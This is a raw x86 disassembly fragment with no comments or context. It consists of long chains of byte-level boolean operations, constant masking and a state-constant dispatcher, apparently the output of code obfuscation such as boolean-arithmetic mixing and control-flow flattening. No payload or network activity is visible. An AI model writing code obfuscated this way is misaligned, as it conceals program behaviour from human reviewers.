xor al, 1
or al, cl
xor dl, 1
xor al, 1
or al, dl
mov edx, eax
and al, ah
xor ah, 1
xor dl, 1
mov cl, ah
xor cl, dl
and dl, ah
and cl, ah
or dl, al
mov ah, ch
mov al, cl
xor ah, 1
and al, dl
xor dl, cl
or dl, al
mov al, ch
and al, ah
mov byte [esp + 0x14], dl
mov dl, ah
mov cl, al
and al, ch
xor cl, 1
and dl, cl
or cl, ch
xor cl, 1
or al, dl
mov edx, ecx
and dl, al
xor al, cl
mov cl, ch
xor cl, ah
or ah, ch
or al, dl
xor ah, 1
mov byte [esp + 0x10], al
or ah, cl
mov dl, ah
mov cl, ah
xor dl, 1
and cl, dl
xor ah, cl
xor cl, 1
or cl, dl
mov edx, eax
xor cl, 1
xor dl, 1
or cl, ah
mov ah, al
mov byte [esp + 4], dl
xor ah, dl
or dl, al
and ah, al
mov ebx, edx
mov bh, dl
mov dh, ah
xor bl, 1
xor dh, 1
and bh, bl
mov al, dh
mov ch, dh
and al, dl
mov byte [esp + 0x18], al
mov al, dl
xor dl, dh
and dh, ah
xor ch, dh
xor dh, 1
xor al, bh
xor bh, 1
or dl, byte [esp + 0x18]
or dh, ah
or bh, bl
xor dh, 1
xor bh, 1
or dh, ch
or bh, al
mov ch, cl
mov ah, dh
xor dl, 1
xor ah, 1
and ah, bh
xor bh, 1
and bh, dh
or bh, ah
mov ah, bh
and ah, dl
xor dl, bh
or dl, ah
mov ah, cl
xor ah, 1
xor ch, ah
and ch, cl
mov al, ch
xor al, 1
mov bh, al
and bh, ch
mov dh, bh
xor bh, ch
xor dh, 1
or dh, al
mov al, ah
xor dh, 1
or dh, bh
xor dh, 1
mov ch, dh
xor dh, dl
xor dh, 1
or ch, dl
and dh, dl
mov dl, ch
xor dl, dh
xor dh, 1
or dh, ch
xor dl, 1
xor dh, 1
or dh, dl
mov dl, ah
and dl, cl
xor dh, 1
and ah, dl
xor dl, al
mov byte [esp + 0x1c], ah
mov ah, byte [esp + 4]
or dl, byte [esp + 0x1c]
xor al, ah
mov ch, ah
mov byte [esp + 0x18], al
mov al, byte [esp + 0x10]
and ch, al
mov bh, ch
xor bh, 1
or al, bh
or bh, ah
xor ah, ch
xor al, 1
xor bh, 1
or al, ah
mov ah, al
xor ah, 1
and ah, dl
xor dl, 1
and dl, al
or dl, ah
mov ah, byte [esp + 0x10]
mov al, dl
or cl, ah
xor ch, ah
xor cl, 1
or bh, ch
or cl, byte [esp + 0x18]
xor cl, 1
and al, cl
xor cl, dl
or cl, al
mov al, cl
mov dl, cl
xor al, 1
and al, cl
xor al, 1
xor dl, al
or al, cl
mov cl, dh
xor al, 1
or al, dl
xor al, 1
or cl, al
xor dh, al
xor cl, 1
mov al, cl
and al, dh
xor dh, cl
or dh, al
mov al, dh
xor al, 1
or dh, al
mov ecx, eax
xor dh, 1
and cl, dh
xor dh, al
mov al, ah
or dh, cl
mov cl, ah
and al, bl
xor bl, cl
or bl, al
mov al, bh
xor al, bl
mov ecx, ebx
and bl, bh
and al, bh
xor bh, 1
xor cl, 1
and cl, bh
xor al, 1
or bl, cl
mov ecx, eax
xor bl, 1
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov eax, ebx
xor al, 1
mov ecx, eax
mov dl, al
and cl, bl
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
mov dl, cl
xor dl, 1
or dl, cl
mov ecx, edx
xor dl, al
or cl, al
xor cl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov eax, edx
mov ecx, edx
xor al, 1
and al, dl
xor al, 1
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov dl, cl
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov dl, cl
mov ah, cl
and dl, al
and ah, dl
xor dl, cl
or cl, al
or dl, ah
xor cl, 1
xor dl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov al, dh
xor al, 1
mov dl, al
and dl, dh
mov ah, dl
xor dl, al
and ah, al
or dl, ah
mov ah, dh
or ah, al
mov ch, ah
xor ch, 1
mov bl, ch
and bl, ah
mov bh, bl
xor bl, ch
and bh, ch
or bl, bh
xor bl, dl
mov dl, dh
and dl, ah
xor ah, dh
or ah, dl
mov dl, ah
xor dl, bl
xor bl, 1
or bl, ah
xor dl, 1
mov ah, cl
xor bl, 1
or bl, dl
mov dl, cl
xor dl, 1
xor bl, 1
and ah, dl
xor ah, 1
mov ch, ah
or ah, dl
xor ch, dl
xor ah, 1
or ah, ch
mov ch, cl
or ch, dl
mov bh, ch
xor bh, 1
and ch, bh
mov byte [esp + 4], ch
and byte [esp + 4], bh
xor ch, bh
or ch, byte [esp + 4]
xor ch, ah
mov ah, cl
xor ah, bh
or bh, cl
and cl, dh
xor bh, 1
or bh, ah
mov ah, ch
xor bh, 1
and ah, bh
xor bh, ch
or bh, ah
mov ah, bl
xor ah, bh
or bl, bh
xor ah, 1
mov ch, bl
and ah, bh
xor ch, ah
xor ah, 1
or ah, bl
xor ch, 1
xor ah, 1
or ah, ch
mov ch, al
xor ch, dl
and ch, al
and al, dl
mov dl, ah
or al, cl
mov cl, ch
xor ch, al
xor cl, 1
xor al, 1
or al, cl
xor al, 1
or al, ch
mov ecx, eax
xor dl, al
and al, ah
and dl, ah
xor cl, 1
xor ah, 1
and ah, cl
mov ecx, edx
or al, ah
and cl, al
xor al, dl
or al, cl
mov ch, al
mov al, byte [esp + 0x14]
mov dh, al
mov cl, al
xor dh, 1
xor cl, dh
and cl, al
mov dl, cl
mov ah, cl
xor dl, 1
or dl, cl
xor dl, 1
and ah, dl
xor dl, cl
or dl, ah
mov cl, dl
mov ah, dl
xor cl, 1
and ah, cl
xor dl, ah
xor ah, 1
or ah, cl
xor ah, 1
or ah, dl
mov cl, ah
mov dl, ah
xor cl, 1
and dl, cl
mov bh, dl
xor dl, ah
xor bh, 1
or bh, cl
xor bh, 1
or bh, dl
mov dl, al
xor bh, 1
mov cl, bh
xor bh, ah
and cl, ah
or bh, cl
mov cl, al
and cl, dh
or dh, al
and dl, cl
xor cl, al
xor dh, 1
mov al, ch
or cl, dl
xor al, 1
xor cl, 1
mov dl, cl
and dl, dh
xor dh, cl
or dh, dl
mov cl, dh
xor cl, 1
and dh, cl
mov dl, cl
and dl, dh
xor dh, cl
mov cl, ch
and cl, al
or dh, dl
xor al, ch
xor cl, 1
and al, ch
mov dl, cl
or cl, ch
xor dl, ch
xor cl, 1
or cl, dl
mov dl, al
mov bl, cl
mov byte [esp + 0x18], cl
xor dl, 1
xor bl, 1
mov byte [esp + 0x14], bl
or bl, cl
mov ah, bl
mov byte [esp + 0x10], bl
xor ah, 1
mov cl, ah
xor cl, al
mov byte [esp + 4], cl
mov ecx, eax
or al, ah
and ah, bl
xor ah, 1
and cl, dl
xor al, 1
mov ch, ah
or ah, bl
xor cl, 1
or al, byte [esp + 4]
xor ch, bl
xor ah, 1
or ah, ch
mov ch, cl
or cl, dl
xor ch, dl
xor cl, 1
or cl, ch
xor cl, ah
mov ah, bh
xor cl, 1
mov dl, cl
or cl, al
xor dl, al
xor cl, 1
or cl, dl
mov al, cl
xor al, 1
and cl, al
mov dl, al
and dl, cl
xor cl, al
or cl, dl
mov dl, cl
xor dl, 1
mov al, dl
or dl, cl
xor al, cl
xor dl, 1
or dl, al
mov byte [esp + 0x1c], dl
mov dl, bh
xor dl, 1
or ah, dl
mov al, ah
xor al, 1
mov ecx, eax
and cl, ah
mov ch, cl
xor cl, al
xor ch, 1
or ch, ah
mov ah, dh
xor ch, 1
or ch, cl
mov cl, ch
and ch, bh
and bh, dl
xor cl, 1
xor bh, 1
and cl, dl
or ch, cl
mov cl, al
or al, dl
xor cl, dl
xor al, 1
or al, cl
mov cl, ch
xor al, 1
and cl, al
xor al, ch
or al, cl
mov cl, dh
xor cl, 1
or ah, cl
mov bl, ah
xor bl, 1
mov byte [esp + 4], bl
and bl, ah
mov ch, bl
xor bl, byte [esp + 4]
xor ch, 1
or ch, ah
xor ch, 1
or ch, bl
mov bl, dh
and bl, cl
xor bl, 1
mov byte [esp + 4], bl
or bl, cl
xor byte [esp + 4], cl
xor bl, 1
or bl, byte [esp + 4]
xor bl, ch
mov ch, ah
xor ah, cl
and ch, cl
or ah, ch
mov ch, bl
xor ah, 1
and ch, ah
xor ah, bl
mov bl, byte [esp + 0x10]
or ah, ch
mov ch, ah
xor ch, 1
and ch, al
xor al, 1
and al, ah
mov ah, bh
or bh, dl
xor ah, dl
xor bh, 1
or al, ch
or bh, ah
mov ah, bh
and bh, dh
xor ah, 1
and ah, cl
mov ecx, edx
or bh, ah
and cl, dh
xor dh, dl
mov ah, byte [esp + 0x1c]
or dh, cl
xor bh, 1
mov cl, bh
or bh, dh
xor cl, dh
xor bh, 1
or bh, cl
mov ch, ah
mov dh, bh
xor dh, 1
mov cl, dh
and cl, bh
mov dl, cl
xor cl, dh
xor dl, 1
or dl, bh
mov bh, byte [esp + 0x14]
xor dl, 1
or dl, cl
mov cl, al
xor cl, 1
and cl, dl
xor dl, 1
and dl, al
or dl, cl
mov cl, al
xor cl, dh
or dh, al
mov al, dl
xor dh, 1
or dh, cl
mov cl, ah
xor dh, 1
and al, dh
xor dh, dl
mov dl, ah
or dh, al
mov al, ah
xor al, 1
and cl, al
or al, ch
and dl, cl
xor cl, ah
mov ah, byte [esp + 0x18]
mov ch, al
or cl, dl
and ch, cl
and bh, ah
mov dl, ah
and dl, bh
xor bh, ah
mov ah, al
or bh, dl
mov dl, cl
xor ah, 1
xor dl, 1
xor bl, bh
and ah, dl
or ah, ch
mov ch, dl
and ch, al
xor al, dl
xor ah, 1
or al, ch
mov ch, ah
or ah, al
xor ch, al
mov al, bl
xor ah, 1
and al, bh
or ah, ch
mov ch, bl
xor ch, al
xor al, 1
or al, bl
xor ch, 1
mov bl, ah
xor al, 1
or al, ch
mov ch, ah
xor ch, 1
and ch, ah
xor ch, 1
xor bl, ch
or ch, ah
mov ah, al
xor ch, 1
xor ah, 1
or ch, bl
and al, ah
mov bl, ah
and bl, al
xor al, ah
mov ah, bh
and bh, dl
or al, bl
xor ah, 1
xor al, ch
mov ch, dl
and cl, ah
and ch, ah
xor ah, dl
or cl, bh
or ah, ch
mov ch, dh
mov dl, ah
xor dl, cl
xor cl, 1
or cl, ah
xor dl, 1
xor cl, 1
or cl, dl
xor cl, al
and al, cl
xor al, 1
mov dl, al
or al, cl
xor dl, cl
mov cl, dh
xor al, 1
xor cl, 1
or al, dl
xor ch, cl
and cl, dh
mov dl, cl
and ch, dh
mov ah, cl
mov dh, byte [esp]
xor dl, 1
and dl, ch
xor ch, 1
xor ah, ch
and ch, cl
and ah, cl
or ch, dl
mov dl, byte [esp + 0x2c]
mov cl, ah
xor ah, ch
xor ch, 1
xor cl, 1
or ch, cl
mov cl, al
xor ch, 1
xor cl, 1
xor dl, 1
or ch, ah
or cl, ch
xor ch, 1
or ch, al
mov eax, ecx
xor al, ch
or ch, cl
xor ch, 1
or ch, al
mov al, byte [esp + 0x28]
or dl, al
xor al, 1
mov cl, al
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov cl, dl
mov eax, edx
mov dl, byte [esp + 0xc]
xor cl, 1
mov ebx, ecx
mov byte [esp + 4], cl
mov cl, byte [esp + 8]
xor dl, 1
xor cl, 1
or dl, cl
mov cl, dh
xor cl, 1
and cl, dl
xor dl, 1
mov ah, dl
xor ah, dh
and dh, dl
and ah, dl
or dh, cl
mov dl, al
mov cl, ah
xor dl, bl
and cl, dh
xor dh, ah
and dl, al
or dh, cl
mov ebx, edx
mov cl, dh
mov byte [esp], dh
xor cl, 1
mov ah, cl
or ah, dh
mov dh, dl
xor dh, 1
and bl, dh
or dh, dl
mov bh, bl
xor bl, dl
xor dh, 1
and bh, dl
or bl, bh
mov bh, ah
mov dl, bl
xor bh, 1
and dl, dh
xor dh, bl
mov bl, byte [esp]
or dh, dl
xor dh, 1
mov dl, bl
and bh, bl
or dl, ah
and ah, cl
and cl, byte [esp + 4]
xor dl, 1
or ah, bh
mov ebx, edx
and bl, ah
xor ah, dl
mov dl, dh
or ah, bl
xor dl, ah
or dh, ah
xor dl, 1
and dl, ah
mov ah, dh
xor ah, dl
xor dl, 1
or dl, dh
mov dh, byte [esp]
xor ah, 1
xor dl, 1
or dl, ah
mov ah, al
xor ah, dh
and dh, al
and ah, al
or dh, cl
mov cl, dl
mov al, ah
xor ah, dh
xor dh, 1
xor cl, 1
xor al, 1
or dh, al
xor dh, 1
or dh, ah
mov al, dh
xor al, 1
and al, cl
or cl, dh
and dh, dl
or dh, al
mov eax, ecx
xor dh, 1
xor al, dh
or dh, cl
xor dh, 1
or dh, al
mov cl, dh
mov al, dh
mov bh, dh
xor cl, 1
and al, cl
mov dl, cl
mov ah, cl
and dl, al
xor ah, al
or ah, dl
mov dl, dh
or dl, cl
mov bl, ah
mov dh, dl
xor bl, dl
and dl, ah
and bl, ah
xor ah, 1
xor dh, 1
and dh, ah
mov ah, bl
or dl, dh
xor ah, 1
xor bl, dl
xor dl, 1
or dl, ah
xor dl, 1
or dl, bl
mov ah, dl
xor ah, 1
and dl, ah
mov dh, ah
and dh, dl
xor dl, ah
or dl, dh
mov ah, dl
mov dh, dl
xor ah, 1
xor dh, ah
or ah, dl
xor ah, 1
or ah, dh
mov dh, al
xor al, bh
mov dl, ah
and dh, bh
and cl, ah
xor dl, 1
or al, dh
xor al, dl
and dl, bh
or dl, cl
xor al, 1
xor ah, dl
and ah, dl
xor ah, 1
mov cl, ah
xor cl, al
and al, ah
mov edx, ecx
or al, cl
xor dl, 1
xor cl, al
or al, dl
xor cl, 1
xor al, 1
or al, cl
mov cl, al
mov edx, eax
xor cl, 1
or dl, cl
mov ah, dl
xor ah, 1
and ah, al
or al, dl
and dl, cl
xor al, 1
or dl, ah
mov cl, al
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
mov ah, dl
xor al, 1
mov cl, al
or al, dl
and cl, dl
xor al, 1
xor cl, 1
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
xor cl, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov cl, al
xor cl, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
mov ah, al
mov cl, al
and ah, dl
or cl, dl
xor ah, 1
mov dh, ah
or ah, dl
xor dh, dl
or dl, cl
xor ah, 1
xor cl, al
or ah, dh
xor dl, 1
xor cl, 1
mov ebx, edx
xor ah, 1
and bl, cl
xor cl, dl
mov dl, ah
xor ah, al
or cl, bl
and dl, al
xor cl, 1
or ah, dl
xor ah, cl
and cl, ah
mov al, ah
xor al, cl
xor cl, 1
or cl, ah
xor al, 1
xor cl, 1
or cl, al
mov eax, ecx
mov edx, ecx
xor al, 1
and al, cl
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ah, al
mov edx, eax
xor ah, 1
mov cl, ah
or ah, al
and cl, al
xor cl, 1
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov al, cl
xor al, ah
or ah, cl
xor ah, 1
or ah, al
mov al, ah
xor al, 1
and ah, al
mov cl, ah
xor ah, al
and cl, al
mov al, ch
xor al, 1
or ah, cl
mov bh, al
mov edx, eax
or al, ch
mov cl, ah
and bh, ch
xor cl, 1
xor dl, bh
xor bh, 1
or bh, ch
xor bh, 1
or bh, dl
mov edx, eax
mov bl, bh
mov ch, bh
xor dl, 1
xor ch, al
xor bl, 1
and al, bh
and dl, bl
and ch, bh
or al, dl
mov dl, ch
and dl, al
xor al, ch
mov ch, ah
or al, dl
and ch, cl
mov edx, ecx
mov byte [esp], al
mov al, ch
xor ch, ah
xor al, 1
xor dl, al
or al, cl
or cl, ah
xor al, 1
xor cl, 1
or dl, al
or ch, al
mov dh, dl
mov ah, ch
xor dh, cl
or cl, dl
xor ah, 1
xor cl, 1
mov dl, dh
mov al, ah
or ah, ch
or cl, dh
xor al, ch
xor ah, 1
xor cl, 1
or ah, al
and dl, cl
xor cl, dh
mov dh, byte [esp]
mov al, ah
or cl, dl
xor al, 1
mov byte [esp + 0xc], cl
and ah, al
mov dl, dh
xor dl, 1
and dh, dl
mov ecx, edx
mov byte [esp + 8], dl
xor dh, 1
xor dl, dh
or dh, cl
xor dh, 1
or dh, dl
mov dl, bh
mov cl, dh
and dl, bl
xor bl, bh
or bl, dl
mov dl, al
xor cl, 1
and dl, ah
xor ah, al
and dh, cl
mov al, cl
mov bh, bl
and al, dh
xor dh, cl
or ah, dl
xor bh, 1
mov dl, bl
or dh, al
and dl, bh
mov al, bl
or bh, bl
mov ch, dh
and al, dl
xor dl, bl
mov bl, dh
xor ch, 1
or dl, al
mov al, bh
mov byte [esp + 0x10], ch
or ch, dh
mov cl, dl
xor al, 1
xor ch, 1
mov byte [esp + 4], al
and bl, ch
xor ch, dh
or ch, bl
mov bl, dl
xor bl, 1
xor cl, bl
and dh, bl
and cl, dl
mov al, cl
xor al, 1
and byte [esp + 4], al
or al, bh
and bh, cl
or bh, byte [esp + 4]
xor al, 1
mov cl, al
and cl, bh
xor bh, al
or bh, cl
mov al, bh
xor al, 1
or al, ch
xor ch, 1
or ch, bh
xor al, 1
mov bh, byte [esp + 8]
xor ch, 1
mov cl, al
and cl, ch
xor ch, al
or ch, cl
mov cl, byte [esp + 0x10]
xor ch, 1
mov al, cl
and dl, cl
and al, bl
xor bl, cl
or dh, dl
or bl, al
mov al, dh
xor bl, 1
and al, bl
xor bl, dh
or bl, al
mov al, bl
xor al, 1
and bl, al
mov cl, al
and cl, bl
xor bl, al
or bl, cl
mov al, bl
mov edx, ebx
xor al, 1
mov cl, al
and cl, bl
xor cl, 1
xor dl, cl
or cl, bl
mov bl, byte [esp + 0xc]
xor cl, 1
or cl, dl
mov dl, ch
xor cl, ch
and dl, al
xor ch, al
mov al, ah
or ah, bl
xor al, bl
xor cl, 1
or ch, dl
mov dh, bl
xor ah, 1
mov dl, cl
xor dh, 1
or ah, al
xor dl, ch
or ch, cl
xor ah, 1
xor ch, 1
xor al, ah
or ch, dl
mov cl, al
xor cl, 1
and cl, ah
mov ah, ch
mov dl, cl
xor cl, al
and dl, al
mov al, ch
or cl, dl
xor al, 1
mov dl, cl
and dl, al
xor al, cl
xor cl, 1
and ah, cl
or dl, ah
xor dl, 1
or dl, cl
or cl, ch
mov ch, byte [esp]
xor cl, 1
mov ah, dl
or cl, al
xor ah, 1
mov al, cl
and ah, cl
xor al, 1
and al, dl
or ah, al
mov al, dl
and al, cl
xor cl, dl
xor ah, 1
mov dl, bl
or cl, al
mov al, ah
or ah, cl
xor al, cl
mov cl, bl
xor ah, 1
and cl, dh
and dh, bh
or ah, al
mov al, ch
and al, bl
or al, dh
mov edx, eax
xor dl, bh
and dl, al
mov al, cl
xor cl, bl
and al, bl
or cl, al
and bh, cl
xor cl, 1
and cl, ch
or cl, bh
mov ch, cl
mov dh, cl
xor ch, 1
mov al, ch
and al, cl
xor al, 1
xor dh, al
or al, cl
or cl, dl
xor dl, 1
xor al, 1
xor ch, dl
xor cl, 1
or al, dh
or cl, ch
xor al, dl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
xor dl, 1
xor al, 1
or al, dl
mov ecx, eax
mov edx, eax
xor cl, 1
or dl, cl
and cl, al
mov ch, dl
xor cl, 1
xor ch, 1
mov dh, cl
or cl, al
and ch, dl
xor dh, al
xor cl, 1
xor ch, 1
or cl, dh
mov dh, ch
or ch, dl
xor dh, dl
xor ch, 1
or ch, dh
mov dh, cl
xor dh, 1
and dh, ch
xor ch, 1
and ch, cl
mov cl, al
or ch, dh
and cl, dl
xor dl, al
xor ch, 1
or dl, cl
mov al, ch
or ch, dl
xor al, dl
xor ch, 1
or ch, al
mov cl, ch
xor cl, 1
mov al, cl
and al, ch
xor cl, al
xor al, 1
or al, ch
xor al, 1
or al, cl
mov cl, ah
xor cl, 1
mov edx, eax
mov ch, cl
mov bh, cl
xor dl, 1
or ch, ah
mov bl, dl
mov dh, ch
xor bh, ch
and ch, cl
or bl, al
xor dh, 1
and bh, cl
and dh, ah
xor bh, 1
or ch, dh
mov dh, bh
xor ch, 1
xor dh, ch
or ch, bh
mov bh, bl
xor ch, 1
xor bh, 1
or ch, dh
mov dh, al
and bh, dl
xor dh, bl
and bl, al
and dh, al
or bl, bh
mov bh, dh
xor dh, bl
xor bl, 1
xor bh, 1
or bl, bh
xor bl, 1
or bl, dh
mov dh, al
mov bh, bl
and dh, dl
xor dl, ah
xor bh, ch
and bl, bh
and bh, ch
mov ch, bl
xor bl, bh
xor bh, 1
xor ch, 1
or bh, ch
mov ch, cl
xor bh, 1
and ch, ah
or bh, bl
mov bl, ch
xor ch, cl
and bl, cl
or cl, al
or ch, bl
mov bl, dh
xor dh, al
xor cl, 1
and bl, al
or cl, dl
or dh, bl
xor dh, ch
xor dh, 1
mov al, dh
or dh, cl
xor al, cl
xor dh, 1
or dh, al
mov al, dh
xor al, 1
and dh, al
mov ecx, eax
and cl, dh
xor dh, al
mov al, bh
xor al, 1
or dh, cl
mov ecx, eax
mov dl, al
mov ah, dh
and cl, bh
xor ah, 1
xor dl, cl
xor cl, 1
and dh, ah
or cl, bh
xor cl, 1
or cl, dl
mov dl, ah
and dl, dh
xor dh, ah
or dh, dl
mov dl, cl
xor dl, 1
and dl, dh
xor dh, 1
and dh, cl
mov ecx, eax
xor al, ah
and cl, ah
or dh, dl
or al, cl
mov ecx, 0xea0a659f
mov dl, al
xor dl, dh
test al, 1
cmovne ecx, esi
test dh, 1
cmove ecx, esi
test dl, 1
mov edx, 0xea0a659f
jmp 0x44b0f3
cmp ecx, 0x643172af
jle 0x436967
cmp ecx, 0x6d46da5b
jg 0x439484
cmp ecx, 0x68afd825
jg 0x4397d1
cmp ecx, 0x643172b0
je 0x43e388
cmp ecx, 0x686f7f3c
jne 0x42f660
movzx eax, byte [esp + 0x11f]
mov ecx, 0xea0a659f
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
cmp ecx, 0xf0134e53
jle 0x43699c
cmp ecx, 0x608e8c5
jg 0x4394f9
cmp ecx, 0xf489f9b5
jg 0x43a3df
cmp ecx, 0xf0134e54
je 0x43e39e
cmp ecx, 0xf4402f50
jne 0x42f660
mov ecx, dword [0x4d0db4]
lea eax, [ecx - 1]
imul eax, ecx
mov ecx, eax
mov esi, eax
mov edi, eax
not ecx
and esi, 0x2a39061
xor edi, 0x6bb3d279
mov edx, ecx
and edi, eax
mov ebx, ecx
and edx, 0x69104218
and ebx, 0x81bbdf49
or esi, edx
xor esi, 0x2a39061
mov edx, esi
and edx, edi
xor edi, esi
mov esi, eax
or edi, edx
and esi, 0x7e4420b6
mov edx, edi
and edi, 0x75ebb868
or esi, ebx
not edx
xor esi, 0x38f5609c
and edx, 0x8a144797
or esi, ecx
and ecx, 0x2884c000
or edi, edx
mov ebx, esi
mov edx, edi
xor edi, 2
not ebx
xor edx, 0x2000000
and edi, 0x4104002
and edx, 0x42a10028
or edx, edi
xor edx, 0x42a10028
or edx, 0xb94ebfd5
mov edi, edx
and ebx, edx
or edx, esi
not edi
mov ebp, edx
and esi, edi
not ebp
or esi, ebx
mov ebx, edx
and ebp, 0x4204028
mov edi, esi
and ebx, 0x7b91bdc3
and esi, 0x846e423c
not edi
or ebp, ebx
or edx, edi
and edi, 0x7b91bdc3
or esi, edi
not edx
xor esi, ebp
or edx, esi
mov edi, edx
mov esi, edx
xor edi, 0xb94ebfd5
and esi, 0x2000a691
and edi, edx
not edx
and edx, 0x994e1944
or esi, edx
xor esi, 0x2000a691
mov edx, esi
and edx, edi
xor edi, esi
or edi, edx
mov esi, edi
mov edx, edi
xor esi, 0xceacdea1
and edx, 0xee1e02c9
and esi, edi
not edi
and edi, 0x11e1fd36
mov ebx, esi
and esi, 0xb2a6a3ad
or edx, edi
not ebx
mov edi, edx
xor edx, 0xa0dc20
or edx, 0x3153215e
xor edi, 0x82040281
mov ebp, edx
or edx, ebx
and ebx, 0x4d595c52
and edi, 0x82a482a1
and ebp, 0x4d595c52
or esi, ebx
not edx
or edi, ebp
xor esi, edi
or edx, esi
mov esi, edx
and edx, 0xceacdea1
not esi
and esi, 0x3153215e
or edx, esi
mov esi, edx
mov ebp, edx
or esi, 0xcd99921b
xor ebp, 0x32666de4
mov ebx, esi
mov edi, esi
and ebp, edx
not ebx
and edi, 0x5e09c809
and ebx, 0x206625e4
or ebx, edi
mov edi, ebp
and ebp, 0xa1f637f6
not edi
or esi, edi
and edi, 0x5e09c809
or ebp, edi
mov edi, edx
not esi
and edx, 0x486086d9
xor ebp, ebx
not edi
or esi, ebp
mov ebp, edi
and edi, 0x56944f50
and ebp, 0xb79f7926
mov ebx, esi
and esi, 0x2b1dadaf
or ebp, edx
not ebx
xor ebp, 0x1ef4c989
and ebx, 0xd4e25250
or edi, ebp
or esi, ebx
mov edx, edi
and edi, 0xd171fc14
mov ebx, esi
xor esi, 0xb01070e4
not edx
xor ebx, 0x4a6a0a10
mov ebp, esi
and edx, 0x2e8e03eb
and ebp, 0x585f50f
and ebx, 0xfa7a0af0
or edi, edx
or ebx, ebp
mov edx, edi
xor edi, 0x2e8e03eb
xor edx, 0xd0700810
or esi, edi
and edi, 0x585f50f
and edx, 0xfa7a0af0
not esi
or edx, edi
xor edx, ebx
or esi, edx
mov edx, esi
mov ebp, esi
not edx
and ebp, 0xd42c2e96
mov edi, edx
and edx, 0x2bd3d169
and edi, esi
or edx, ebp
mov ebx, edi
and edi, 0x2bd3d169
not ebx
or esi, ebx
and ebx, 0xd42c2e96
or edi, ebx
not esi
xor edi, edx
or esi, edi
mov edx, esi
and esi, 0xe39ea993
not edx
mov edi, edx
and edi, 0x1c61566c
or esi, edi
xor esi, 0x1c61566c
xor edx, esi
and edx, esi
mov esi, eax
and eax, 0x473b0d7f
and esi, 0x90403280
mov ebp, edx
mov dword [esp], edx
or esi, ecx
xor ebp, 0xe6320f8f
xor esi, 0x90403280
and ebp, edx
or eax, esi
mov ecx, eax
and eax, 0xb8c4f280
not ecx
and ecx, 0x473b0d7f
or eax, ecx
mov ecx, eax
mov esi, eax
and eax, 0xa96bb0af
not ecx
and esi, 0x56944f50
and ecx, 0x56944f50
or eax, ecx
mov ecx, esi
and ecx, eax
xor eax, esi
or eax, ecx
mov ecx, eax
not ecx
mov esi, ecx
and ecx, eax
and eax, 0x28e583fc
and esi, 0xd71a7c03
mov edi, ecx
and ecx, 0x8d50bcf6
or eax, esi
not edi
mov esi, eax
xor eax, 0xd71a7c03
mov ebx, eax
xor esi, 0x84080f4
or eax, edi
and edi, 0x72af4309
and ebx, 0x72af4309
and esi, 0x8d50bcf6
or ecx, edi
not eax
or esi, ebx
xor ecx, esi
mov esi, edx
or eax, ecx
not esi
mov ecx, esi
mov edi, eax
mov eax, edx
and ecx, 0x82200687
and eax, 0x64120908
or eax, ecx
mov ebx, eax
xor eax, 0x9bedf6f7
xor ebx, 0x24100000
mov ecx, eax
and ecx, 0xd823fb9d
and ebx, 0x26100402
or ebx, ecx
mov ecx, ebp
and ebp, 0x27dc0462
not ecx
or eax, ecx
and ecx, 0xd823fb9d
or ebp, ecx
not eax
mov ecx, edi
xor ebp, ebx
not ecx
or eax, ebp
mov ebp, ecx
mov ebx, eax
and eax, 0x1db30650
and ebp, 0x724c3105
not ebx
and ebx, 0xe24cf9af
or eax, ebx
mov ebx, edi
and edi, 0x8db3cefa
or edi, ebp
mov ebp, ecx
and ebx, 0x10829a20
xor edi, 0xf1995ad5
or ebp, 0x94829e30
or edi, ecx
and ecx, 0x84000410
mov edx, ebp
and ebp, 0x144b1a53
or ebx, ecx
not edx
mov dword [esp + 8], edi
mov ecx, ebx
xor ebx, 0x4490053
and edx, 0x6b34618c
xor ecx, 0x808020
and ebx, 0x144b1a53
or edx, ebp
mov ebp, eax
xor eax, 0x47ef620
and ecx, 0x80808420
xor ebp, 0xfb8109df
or ecx, ebx
xor edx, ecx
mov ecx, edx
and edx, 0x94829e30
not ecx
and ecx, 0x6b7d61cf
or edx, ecx
mov ecx, eax
mov eax, edx
mov edi, ecx
mov dword [esp + 4], edx
and edx, ecx
mov ebx, ecx
and ecx, 0x83d56bd0
not eax
mov dword [esp + 0xc], edx
and edi, 0x3c9e3e98
mov edx, eax
or ebx, eax
and eax, ebp
and ebp, 0xc361c167
or edi, ebp
mov dword [esp + 0x14], eax
and edx, 0xe0ae3184
mov dword [esp + 0x10], ebx
xor edi, 0x40b4aab7
or ecx, edi
mov edi, dword [esp]
mov eax, ecx
and ecx, 0xace807b7
not eax
and eax, 0x5317f848
or ecx, eax
mov eax, esi
and edi, 0x67dae59b
and esi, 0x7c2a942f
and eax, 0x98251a64
or eax, edi
mov edi, dword [esp + 4]
xor eax, 0x1bf071b4
or esi, eax
mov eax, esi
and esi, 0xe187d7f1
not eax
and edi, 0x1f51ce7b
and eax, 0x1e78280e
or edi, edx
or esi, eax
mov eax, edi
xor edi, 0x9c84a5ab
xor eax, 0x3514a50
mov edx, esi
and eax, 0x83d56bd0
xor edx, 0x12700008
or edi, eax
and edx, 0xd3f3d499
mov eax, edi
and edi, 0x7123c0fa
not eax
and eax, 0x8edc3f05
or edi, eax
mov eax, esi
xor esi, 0x98f3ca5b
xor eax, 0xe187d7f1
mov dword [esp + 4], edi
and esi, eax
mov dword [esp], esi
mov esi, eax
mov eax, ecx
and esi, 0x2c0c2b66
xor eax, 0x5317f848
or esi, edx
mov edx, ecx
xor ecx, 0xd59c1a1d
mov dword [esp + 0x18], eax
xor edx, 0xace807b7
and ecx, eax
mov edi, esi
mov eax, esi
xor esi, 0xd3f3d499
mov ebp, edx
mov ebx, ecx
